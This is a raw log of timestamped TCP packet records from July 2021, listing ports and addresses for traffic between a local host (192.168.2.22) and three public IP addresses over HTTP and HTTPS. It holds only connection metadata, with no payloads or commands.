Jul 6, 2021 15:52:20.354763985 CEST	80	49169	104.21.55.83	192.168.2.22
Jul 6, 2021 15:52:20.354789972 CEST	49169	80	192.168.2.22	104.21.55.83
Jul 6, 2021 15:52:20.354800940 CEST	49169	80	192.168.2.22	104.21.55.83
Jul 6, 2021 15:52:20.384533882 CEST	80	49169	104.21.55.83	192.168.2.22
Jul 6, 2021 15:52:20.384568930 CEST	80	49169	104.21.55.83	192.168.2.22
Jul 6, 2021 15:52:20.384793997 CEST	49169	80	192.168.2.22	104.21.55.83
Jul 6, 2021 15:52:20.384905100 CEST	80	49169	104.21.55.83	192.168.2.22
Jul 6, 2021 15:52:20.384928942 CEST	80	49169	104.21.55.83	192.168.2.22
Jul 6, 2021 15:52:20.385014057 CEST	49169	80	192.168.2.22	104.21.55.83
Jul 6, 2021 15:52:20.385715008 CEST	80	49169	104.21.55.83	192.168.2.22
Jul 6, 2021 15:52:20.385740042 CEST	80	49169	104.21.55.83	192.168.2.22
Jul 6, 2021 15:52:20.385847092 CEST	49169	80	192.168.2.22	104.21.55.83
Jul 6, 2021 15:52:20.386580944 CEST	80	49169	104.21.55.83	192.168.2.22
Jul 6, 2021 15:52:20.386605024 CEST	80	49169	104.21.55.83	192.168.2.22
Jul 6, 2021 15:52:20.386708021 CEST	49169	80	192.168.2.22	104.21.55.83
Jul 6, 2021 15:52:20.386744022 CEST	49169	80	192.168.2.22	104.21.55.83
Jul 6, 2021 15:52:20.387476921 CEST	80	49169	104.21.55.83	192.168.2.22
Jul 6, 2021 15:52:20.387499094 CEST	80	49169	104.21.55.83	192.168.2.22
Jul 6, 2021 15:52:20.387712955 CEST	49169	80	192.168.2.22	104.21.55.83
Jul 6, 2021 15:52:20.388324022 CEST	80	49169	104.21.55.83	192.168.2.22
Jul 6, 2021 15:52:20.388346910 CEST	80	49169	104.21.55.83	192.168.2.22
Jul 6, 2021 15:52:20.388448000 CEST	49169	80	192.168.2.22	104.21.55.83
Jul 6, 2021 15:52:20.389226913 CEST	80	49169	104.21.55.83	192.168.2.22
Jul 6, 2021 15:52:20.389247894 CEST	80	49169	104.21.55.83	192.168.2.22
Jul 6, 2021 15:52:20.389317989 CEST	49169	80	192.168.2.22	104.21.55.83
Jul 6, 2021 15:52:21.110394955 CEST	49170	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:21.149584055 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:21.149688005 CEST	49170	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:21.156853914 CEST	49170	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:21.196046114 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:21.196182966 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:21.196382046 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:21.196408033 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:21.196494102 CEST	49170	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:21.198673010 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:21.198704004 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:21.198771954 CEST	49170	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:21.212658882 CEST	49170	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:21.251864910 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:21.252325058 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:21.457572937 CEST	49170	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:21.853641987 CEST	49170	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:21.893049002 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.184876919 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.184926987 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.184947014 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.184963942 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.185131073 CEST	49170	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:22.278142929 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.278192997 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.278209925 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.278228998 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.278254032 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.278276920 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.279270887 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.279304981 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.280479908 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.280510902 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.280549049 CEST	49170	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:22.280579090 CEST	49170	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:22.280582905 CEST	49170	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:22.280910015 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.280934095 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.281847954 CEST	49170	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:22.285036087 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.285075903 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.285098076 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.285120964 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.285144091 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.285854101 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.285892963 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.285914898 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.286664009 CEST	49170	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:22.286689043 CEST	49170	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:22.286691904 CEST	49170	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:22.286834955 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.286895037 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.287134886 CEST	49170	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:22.287683964 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.287714958 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.287776947 CEST	49170	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:22.361263990 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.361290932 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.361491919 CEST	49170	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:22.361772060 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.361788988 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.361907959 CEST	49170	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:22.362860918 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.362879992 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.362962961 CEST	49170	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:22.364008904 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.364038944 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.364115953 CEST	49170	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:22.365092039 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.365119934 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.365192890 CEST	49170	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:22.366189003 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.366213083 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.366362095 CEST	49170	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:22.367291927 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.367314100 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.367404938 CEST	49170	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:22.368360996 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.368390083 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.368478060 CEST	49170	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:22.369472980 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.369498014 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.369541883 CEST	49170	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:22.370549917 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.370573997 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.370621920 CEST	49170	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:22.371668100 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.371701002 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.371758938 CEST	49170	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:22.372783899 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.372809887 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.372972965 CEST	49170	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:22.373902082 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.373931885 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.374033928 CEST	49170	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:22.374993086 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.375021935 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.375109911 CEST	49170	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:22.376121998 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.376157999 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.376244068 CEST	49170	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:22.377217054 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.377239943 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.377310038 CEST	49170	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:22.378268957 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.378302097 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.378364086 CEST	49170	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:22.379374981 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.379409075 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.379597902 CEST	49170	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:22.380496025 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.380521059 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.380603075 CEST	49170	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:22.381606102 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.381623983 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.381937981 CEST	49170	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:22.449700117 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.449737072 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.449831963 CEST	49170	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:22.450067043 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.450086117 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.450177908 CEST	49170	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:22.451251030 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.451287031 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.451375008 CEST	49170	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:22.452364922 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.452398062 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.452492952 CEST	49170	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:22.453387976 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.453407049 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.453455925 CEST	49170	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:22.454528093 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.454546928 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.454621077 CEST	49170	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:22.455651045 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.455681086 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.455738068 CEST	49170	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:22.456718922 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.456743002 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.456804037 CEST	49170	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:22.457825899 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.457844973 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.457902908 CEST	49170	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:22.458914042 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.458933115 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.459003925 CEST	49170	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:22.460016966 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.461721897 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.461756945 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.461777925 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.462191105 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.462213993 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.463315964 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.463346958 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.463597059 CEST	49170	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:22.463624954 CEST	49170	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:22.463629007 CEST	49170	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:22.464404106 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.464436054 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.464724064 CEST	49170	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:22.465480089 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.465507030 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.465739965 CEST	49170	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:22.466587067 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.466614008 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.466849089 CEST	49170	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:22.467689037 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.467716932 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.467894077 CEST	49170	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:22.468838930 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.468868017 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.469043970 CEST	49170	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:22.469881058 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.469908953 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.470169067 CEST	49170	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:22.470969915 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.470997095 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.471158981 CEST	49170	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:22.472104073 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.472134113 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.472217083 CEST	49170	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:22.473175049 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.473712921 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.473784924 CEST	49170	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:22.474258900 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.474280119 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.474356890 CEST	49170	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:22.488935947 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.488961935 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.489118099 CEST	49170	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:22.489412069 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.489439964 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.489512920 CEST	49170	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:22.490511894 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.490540981 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.490638018 CEST	49170	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:22.491641045 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.491674900 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.491744041 CEST	49170	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:22.492718935 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.492746115 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.492813110 CEST	49170	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:22.493772984 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.493799925 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.493931055 CEST	49170	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:22.494895935 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.494930029 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.494976997 CEST	49170	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:22.495992899 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.496016026 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.496066093 CEST	49170	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:22.497095108 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.497128963 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.497186899 CEST	49170	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:22.498142004 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.498178005 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.498239040 CEST	49170	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:22.499269009 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.499304056 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.499397039 CEST	49170	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:22.500387907 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.500422001 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.500478983 CEST	49170	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:22.501509905 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.501543999 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.501607895 CEST	49170	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:22.502557993 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.502582073 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.502643108 CEST	49170	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:22.503765106 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.503787994 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.503854990 CEST	49170	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:22.504796982 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.504825115 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.504878044 CEST	49170	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:22.505863905 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.505882978 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.505935907 CEST	49170	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:22.506972075 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.506999969 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.507040024 CEST	49170	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:22.508122921 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.508163929 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.508223057 CEST	49170	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:22.509145021 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.509179115 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.509221077 CEST	49170	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:22.510253906 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.510293007 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.510374069 CEST	49170	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:22.511358976 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.511393070 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.511460066 CEST	49170	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:22.539901018 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.539933920 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.539958000 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.539978981 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.540004015 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.540025949 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.540049076 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.540072918 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.540093899 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.540363073 CEST	49170	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:22.542850971 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.544356108 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.544461966 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.544480085 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.544501066 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.544517040 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.544538021 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.544559002 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.544580936 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.544604063 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.545690060 CEST	49170	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:22.545732021 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.545787096 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.545813084 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.545835972 CEST	443	49170	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:22.545888901 CEST	49170	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:22.752500057 CEST	49170	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:22.812728882 CEST	49171	80	192.168.2.22	172.67.213.115
Jul 6, 2021 15:52:22.851011992 CEST	80	49171	172.67.213.115	192.168.2.22
Jul 6, 2021 15:52:22.851171017 CEST	49171	80	192.168.2.22	172.67.213.115
Jul 6, 2021 15:52:22.851982117 CEST	49171	80	192.168.2.22	172.67.213.115
Jul 6, 2021 15:52:22.890826941 CEST	80	49171	172.67.213.115	192.168.2.22
Jul 6, 2021 15:52:23.424782991 CEST	80	49171	172.67.213.115	192.168.2.22
Jul 6, 2021 15:52:23.424814939 CEST	80	49171	172.67.213.115	192.168.2.22
Jul 6, 2021 15:52:23.426708937 CEST	49171	80	192.168.2.22	172.67.213.115
Jul 6, 2021 15:52:24.463751078 CEST	49172	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:24.503034115 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:24.503215075 CEST	49172	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:24.511670113 CEST	49172	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:24.550971031 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:24.551692963 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:24.551726103 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:24.551852942 CEST	49172	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:24.551861048 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:24.554748058 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:24.554775953 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:24.554828882 CEST	49172	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:24.561482906 CEST	49172	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:24.601252079 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:24.601327896 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:24.813853979 CEST	49172	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:25.010840893 CEST	49172	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:25.051212072 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.167031050 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.167083025 CEST	443	49172	13.225.75.73	192.168.2.22
